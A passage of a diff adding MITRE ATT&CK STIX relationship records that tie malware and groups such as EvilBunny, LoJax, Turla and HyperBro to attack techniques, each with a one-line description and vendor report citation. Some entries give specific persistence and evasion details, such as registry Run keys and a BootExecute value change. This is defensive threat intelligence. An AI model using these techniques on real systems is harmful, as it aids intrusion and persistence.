"relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has executed commands via scheduled tasks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T17:40:32.368Z", + "id": "relationship--9aebf2b6-7688-4946-a12e-ea1d8e62e158", + "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "modified": "2019-07-01T18:16:33.055Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "source_name": "Cyphort EvilBunny Dec 2014", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has executed C2 commands directly via HTTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T17:40:32.372Z", + "id": "relationship--25e11828-0e27-4eb6-afb6-5c048ae9189b", + "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "modified": "2019-07-01T18:16:33.086Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "source_name": "Cyphort EvilBunny Dec 2014", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has deleted the initial dropper after running through the environment checks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T17:40:32.405Z", + "id": "relationship--ad3eb54c-0f67-42b8-b4cf-060ab6057b79", + "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "modified": "2019-07-01T18:16:33.088Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "source_name": "Cyphort EvilBunny Dec 2014", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has used EnumProcesses() to identify how many process are running in the environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T17:40:32.407Z", + "id": "relationship--e2753d61-40d9-45b3-884a-a4c63b1da476", + "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "modified": "2019-07-01T18:16:33.117Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "source_name": "Cyphort EvilBunny Dec 2014", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has been observed querying installed antivirus software.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T17:40:32.410Z", + "id": "relationship--e900ada7-1b3a-442d-aa86-5cd16a3a2c00", + "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "modified": "2019-07-01T18:16:33.113Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "source_name": "Cyphort EvilBunny Dec 2014", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has downloaded additional Lua scripts from the C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T17:40:32.413Z", + "id": "relationship--0109ee05-c2a9-4dcf-80d1-f859500c97c9", + "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "modified": "2019-07-01T18:16:33.116Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "source_name": "Cyphort EvilBunny Dec 2014", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has created Registry keys for persistence in [HKLM|HKCU]\\\u2026\\CurrentVersion\\Run.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T17:40:32.416Z", + "id": "relationship--030958f2-615b-4c80-a1ec-38ed335da413", + "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "modified": "2019-07-01T18:16:33.147Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "source_name": "Cyphort EvilBunny Dec 2014", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has an integrated scripting engine to download and execute Lua scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T17:40:32.419Z", + "id": "relationship--8cae93fc-8ba7-462f-a27d-b9b8c289034e", + "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "modified": "2019-07-01T18:16:33.149Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "source_name": "Cyphort EvilBunny Dec 2014", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has checks in place to identify if the malware is in a sandbox environment.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T17:40:32.421Z", + "id": "relationship--4ce1ed77-dc5d-42d8-838e-b927dc6d6afb", + "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "modified": "2019-07-01T18:16:33.173Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "source_name": "Cyphort EvilBunny Dec 2014", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has used WMI to gather information about the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T17:40:32.427Z", + "id": "relationship--265686ee-6e90-439f-9966-e40b8472bd06", + "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "modified": "2019-07-01T18:16:33.187Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "source_name": "Cyphort EvilBunny Dec 2014", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has exploited CVE-2011-4369, a vulnerability in the PRC component in Adobe Reader.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T17:40:32.430Z", + "id": "relationship--66cadf3d-bfb7-4b75-a659-06b3cb1bbd37", + "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "modified": "2019-07-01T18:16:33.183Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "source_name": "Cyphort EvilBunny Dec 2014", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) uses a malicious Microsoft Exchange transport agent for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T17:54:44.491Z", + "id": "relationship--be55801c-82ed-4abe-960f-9bca9d704ffc", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.780Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has saved information to a random temp file before exfil.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28T20:48:52.460Z", + "id": "relationship--992d6f04-7454-4211-9a44-a5c87fdb7657", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.460Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Yahoyah](https://attack.mitre.org/software/S0388) uses HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-30T22:50:18.699Z", + "id": "relationship--78e60e86-72a0-4966-a1b9-19a76102d78f", + "source_ref": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "modified": "2019-06-30T22:50:18.699Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "source_name": "TrendMicro TropicTrooper 2015", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", + "description": "[LoJax](https://attack.mitre.org/software/S0397) has loaded an embedded NTFS DXE driver to be able to access and write to NTFS partitions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-02T12:58:09.695Z", + "id": "relationship--328ab5f5-017c-4d4c-ab52-078257e39bd7", + "source_ref": "malware--b865dded-0553-4962-a44b-6fe7863effed", + "modified": "2019-07-02T20:53:26.593Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019.", + "source_name": "ESET LoJax Sept 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[LoJax](https://attack.mitre.org/software/S0397) has modified the Registry key \u2018HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\BootExecute\u2019 from \u2018autocheck autochk *\u2019 to \u2018autocheck autoche *\u2019.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-02T12:58:09.722Z", + "id": "relationship--1f5c6a39-aa0b-469e-aabe-67e4d237b213", + "source_ref": "malware--b865dded-0553-4962-a44b-6fe7863effed", + "modified": "2019-07-02T20:53:26.627Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019.", + "source_name": "ESET LoJax Sept 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3", + "description": "[LoJax](https://attack.mitre.org/software/S0397) is a UEFI BIOS rootkit deployed to persist remote access software on some targeted systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-02T12:58:09.725Z", + "id": "relationship--3e8d8738-8909-48d2-adbb-f1562f5403b7", + "source_ref": "malware--b865dded-0553-4962-a44b-6fe7863effed", + "modified": "2019-07-02T20:53:26.625Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019.", + "source_name": "ESET LoJax Sept 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "description": "[LoJax](https://attack.mitre.org/software/S0397) is a UEFI BIOS rootkit deployed to persist remote access software on some targeted systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-02T12:58:09.729Z", + "id": "relationship--e9f52758-d5aa-4a16-b614-ea756a0cf270", + "source_ref": "malware--b865dded-0553-4962-a44b-6fe7863effed", + "modified": "2019-07-02T20:53:26.654Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019.", + "source_name": "ESET LoJax Sept 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b865dded-0553-4962-a44b-6fe7863effed", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-02T13:01:52.206Z", + "id": "relationship--fb28df7f-ccc1-469d-8a91-e82b9b6006c1", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:36.182Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019.", + "source_name": "ESET LoJax Sept 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[LoJax](https://attack.mitre.org/software/S0397) has modified the Registry key \u2018HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\BootExecute\u2019 from \u2018autocheck autochk *\u2019 to \u2018autocheck autoche *\u2019 in order to execute its payload during Windows startup.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-02T14:54:53.700Z", + "id": "relationship--3f4700e6-71a4-4995-b173-00974a528905", + "source_ref": "malware--b865dded-0553-4962-a44b-6fe7863effed", + "modified": "2019-07-02T20:53:26.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019.", + "source_name": "ESET LoJax Sept 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can store email data in files and directories specified in its configuration, such as C:\\Windows\\ServiceProfiles\\NetworkService\\appdata\\Local\\Temp\\.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-02T19:03:30.877Z", + "id": "relationship--87999cb2-7565-465a-ad10-b585be2e3e3f", + "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", + "modified": "2019-07-16T17:12:00.782Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET LightNeuron May 2019", + "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has gathered credentials from the Windows Credential Manager tool.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-08T15:24:24.610Z", + "id": "relationship--2188382d-d557-4a81-9713-7ef4cc675e76", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.429Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "source_name": "Symantec Waterbug Jun 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used PowerShell and VBS scripts throughout its operations.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-08T15:24:24.654Z", + "id": "relationship--13ac3b6b-d008-44fa-88c3-53d0927961d2", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.427Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "source_name": "Symantec Waterbug Jun 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used WebDAV to upload stolen USB files to a cloud drive.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-08T15:24:24.657Z", + "id": "relationship--7dda2468-0344-48c5-8843-6655084d8159", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "source_name": "Symantec Waterbug Jun 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has encrypted files stolen from connected USB drives into a RAR file before exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-08T15:24:24.660Z", + "id": "relationship--931c0864-0b91-46b7-bdc0-0360777d95a6", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.834Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "source_name": "Symantec Waterbug Jun 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-08T15:24:25.014Z", + "id": "relationship--08fccacb-803c-4d00-baa7-ed6af83660ae", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.841Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "source_name": "Symantec Waterbug Jun 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-08T15:24:25.028Z", + "id": "relationship--36f14542-1dd2-4b2e-b69f-d7f38ea9800e", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.850Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "source_name": "Symantec Waterbug Jun 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[HyperBro](https://attack.mitre.org/software/S0398) has the ability to delete a specified file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-09T17:42:44.914Z", + "id": "relationship--dd385e5d-a066-4733-b448-b6baddb10083", + "source_ref": "malware--5e814485-012d-423d-b769-026bfed0f451", + "modified": "2019-07-14T21:14:18.781Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[HyperBro](https://attack.mitre.org/software/S0398) has the ability to start and stop a specified service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-09T17:42:44.947Z", + "id": "relationship--737788fa-f921-4147-9148-c39228f76e85", + "source_ref": "malware--5e814485-012d-423d-b769-026bfed0f451", + "modified": "2019-07-14T21:14:18.809Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[HyperBro](https://attack.mitre.org/software/S0398) has the ability to download additional files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-09T17:42:44.951Z", + "id": "relationship--c96b0cbe-7523-4ee6-ae73-b6a8cba3ea44", + "source_ref": "malware--5e814485-012d-423d-b769-026bfed0f451", + "modified": "2019-07-14T21:14:18.836Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[HyperBro](https://attack.mitre.org/software/S0398) can list all services and their configurations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-09T17:42:44.957Z", + "id": "relationship--7e42e286-af96-4178-a30f-785ed3699659", + "source_ref": "malware--5e814485-012d-423d-b769-026bfed0f451", + "modified": "2019-07-14T21:14:18.834Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": 